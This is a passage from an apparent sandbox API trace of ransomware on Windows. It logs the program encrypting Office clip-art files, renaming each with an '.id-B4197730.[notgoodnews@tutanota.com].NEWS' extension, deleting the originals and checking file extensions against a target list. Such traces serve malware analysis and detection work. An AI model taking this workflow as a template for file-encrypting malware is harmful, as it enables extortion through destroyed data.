dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0183.217] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=3724) returned 1 [0183.217] CloseHandle (hObject=0x46c) returned 1 [0183.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 0x220 [0183.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0183.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0183.217] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.217] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0183.219] GetLastError () returned 0x0 [0183.219] ReadFile (in: hFile=0x46c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0xe8c, lpOverlapped=0x0) returned 1 [0183.693] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe90, lpOverlapped=0x0) returned 1 [0183.694] ReadFile (in: hFile=0x46c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.694] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0183.694] SetEndOfFile (hFile=0x370) returned 1 [0183.696] CloseHandle (hObject=0x370) returned 1 [0183.701] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.701] SetEndOfFile (hFile=0x46c) returned 1 [0183.707] CloseHandle (hObject=0x46c) returned 1 [0183.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0183.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 1 [0183.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0183.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0183.711] lstrlenW (lpString=".doc") returned 4 [0183.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.711] lstrlenW (lpString=".docx") returned 5 [0183.711] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0183.711] lstrlenW (lpString=".pdf") returned 4 [0183.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.712] lstrlenW (lpString=".xls") returned 4 [0183.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.712] lstrlenW (lpString=".xlsx") returned 5 [0183.712] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0183.712] lstrlenW (lpString=".ppt") returned 4 [0183.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0183.712] lstrlenW (lpString=".zip") returned 4 [0183.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.712] lstrlenW (lpString=".rar") returned 4 [0183.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.712] lstrlenW (lpString=".bz2") returned 4 [0183.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.712] lstrlenW (lpString=".7z") returned 3 [0183.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0183.712] lstrlenW (lpString=".dbf") returned 4 [0183.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0183.712] lstrlenW (lpString=".1cd") returned 4 [0183.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0183.712] lstrlenW (lpString=".jpg") returned 4 [0183.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0183.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0183.712] lstrlenW (lpString=".doc") returned 4 [0183.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.712] lstrlenW (lpString=".docx") returned 5 [0183.712] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0183.713] lstrlenW (lpString=".pdf") returned 4 [0183.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.713] lstrlenW (lpString=".xls") returned 4 [0183.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.713] lstrlenW (lpString=".xlsx") returned 5 [0183.713] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0183.713] lstrlenW (lpString=".ppt") returned 4 [0183.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0183.713] lstrlenW (lpString=".zip") returned 4 [0183.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.713] lstrlenW (lpString=".rar") returned 4 [0183.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.713] lstrlenW (lpString=".bz2") returned 4 [0183.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.713] lstrlenW (lpString=".7z") returned 3 [0183.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0183.713] lstrlenW (lpString=".dbf") returned 4 [0183.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0183.713] lstrlenW (lpString=".1cd") returned 4 [0183.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0183.713] lstrlenW (lpString=".jpg") returned 4 [0183.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.714] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0183.714] lstrlenW (lpString="J0107494.WMF") returned 12 [0183.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0184.029] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=6424) returned 1 [0184.030] CloseHandle (hObject=0x450) returned 1 [0184.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf")) returned 0x220 [0184.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.036] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.036] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0184.055] GetLastError () returned 0x0 [0184.055] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x1918, lpOverlapped=0x0) returned 1 [0184.066] WriteFile (in: hFile=0x558, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1920, lpOverlapped=0x0) returned 1 [0184.067] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.067] WriteFile (in: hFile=0x558, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.067] SetEndOfFile (hFile=0x558) returned 1 [0184.073] CloseHandle (hObject=0x558) returned 1 [0184.073] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.073] SetEndOfFile (hFile=0x53c) returned 1 [0184.080] CloseHandle (hObject=0x53c) returned 1 [0184.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.252] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf")) returned 1 [0184.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0184.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0184.282] lstrlenW (lpString=".doc") returned 4 [0184.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.282] lstrlenW (lpString=".docx") returned 5 [0184.282] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0184.282] lstrlenW (lpString=".pdf") returned 4 [0184.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.282] lstrlenW (lpString=".xls") returned 4 [0184.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.282] lstrlenW (lpString=".xlsx") returned 5 [0184.282] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0184.282] lstrlenW (lpString=".ppt") returned 4 [0184.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0184.282] lstrlenW (lpString=".zip") returned 4 [0184.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.282] lstrlenW (lpString=".rar") returned 4 [0184.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.282] lstrlenW (lpString=".bz2") returned 4 [0184.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.282] lstrlenW (lpString=".7z") returned 3 [0184.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0184.283] lstrlenW (lpString=".dbf") returned 4 [0184.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0184.283] lstrlenW (lpString=".1cd") returned 4 [0184.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0184.283] lstrlenW (lpString=".jpg") returned 4 [0184.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0184.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0184.283] lstrlenW (lpString=".doc") returned 4 [0184.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.283] lstrlenW (lpString=".docx") returned 5 [0184.283] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0184.283] lstrlenW (lpString=".pdf") returned 4 [0184.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.283] lstrlenW (lpString=".xls") returned 4 [0184.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.283] lstrlenW (lpString=".xlsx") returned 5 [0184.283] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0184.283] lstrlenW (lpString=".ppt") returned 4 [0184.283] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0184.283] lstrlenW (lpString=".zip") returned 4 [0184.283] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.283] lstrlenW (lpString=".rar") returned 4 [0184.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.284] lstrlenW (lpString=".bz2") returned 4 [0184.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.284] lstrlenW (lpString=".7z") returned 3 [0184.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0184.284] lstrlenW (lpString=".dbf") returned 4 [0184.284] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0184.284] lstrlenW (lpString=".1cd") returned 4 [0184.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0184.284] lstrlenW (lpString=".jpg") returned 4 [0184.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.284] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.284] lstrlenW (lpString="J0107512.WMF") returned 12 [0184.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.337] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=11404) returned 1 [0184.337] CloseHandle (hObject=0x518) returned 1 [0184.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf")) returned 0x220 [0184.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.525] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.525] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0184.527] GetLastError () returned 0x0 [0184.527] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x2c8c, lpOverlapped=0x0) returned 1 [0184.549] WriteFile (in: hFile=0x544, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2c90, lpOverlapped=0x0) returned 1 [0184.551] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.551] WriteFile (in: hFile=0x544, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.551] SetEndOfFile (hFile=0x544) returned 1 [0184.551] CloseHandle (hObject=0x544) returned 1 [0184.552] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.552] SetEndOfFile (hFile=0x53c) returned 1 [0184.555] CloseHandle (hObject=0x53c) returned 1 [0184.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf")) returned 1 [0184.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0184.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0184.557] lstrlenW (lpString=".doc") returned 4 [0184.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.557] lstrlenW (lpString=".docx") returned 5 [0184.557] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0184.557] lstrlenW (lpString=".pdf") returned 4 [0184.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.557] lstrlenW (lpString=".xls") returned 4 [0184.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.558] lstrlenW (lpString=".xlsx") returned 5 [0184.558] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0184.558] lstrlenW (lpString=".ppt") returned 4 [0184.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0184.558] lstrlenW (lpString=".zip") returned 4 [0184.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.558] lstrlenW (lpString=".rar") returned 4 [0184.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.558] lstrlenW (lpString=".bz2") returned 4 [0184.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.558] lstrlenW (lpString=".7z") returned 3 [0184.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0184.558] lstrlenW (lpString=".dbf") returned 4 [0184.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0184.558] lstrlenW (lpString=".1cd") returned 4 [0184.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0184.558] lstrlenW (lpString=".jpg") returned 4 [0184.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0184.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0184.558] lstrlenW (lpString=".doc") returned 4 [0184.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.559] lstrlenW (lpString=".docx") returned 5 [0184.559] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0184.559] lstrlenW (lpString=".pdf") returned 4 [0184.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.559] lstrlenW (lpString=".xls") returned 4 [0184.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.559] lstrlenW (lpString=".xlsx") returned 5 [0184.559] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0184.559] lstrlenW (lpString=".ppt") returned 4 [0184.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0184.559] lstrlenW (lpString=".zip") returned 4 [0184.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.559] lstrlenW (lpString=".rar") returned 4 [0184.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.559] lstrlenW (lpString=".bz2") returned 4 [0184.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.559] lstrlenW (lpString=".7z") returned 3 [0184.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0184.559] lstrlenW (lpString=".dbf") returned 4 [0184.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0184.559] lstrlenW (lpString=".1cd") returned 4 [0184.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0184.559] lstrlenW (lpString=".jpg") returned 4 [0184.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.560] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.560] lstrlenW (lpString="J0107658.WMF") returned 12 [0184.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0184.582] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=7072) returned 1 [0184.582] CloseHandle (hObject=0x454) returned 1 [0184.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft 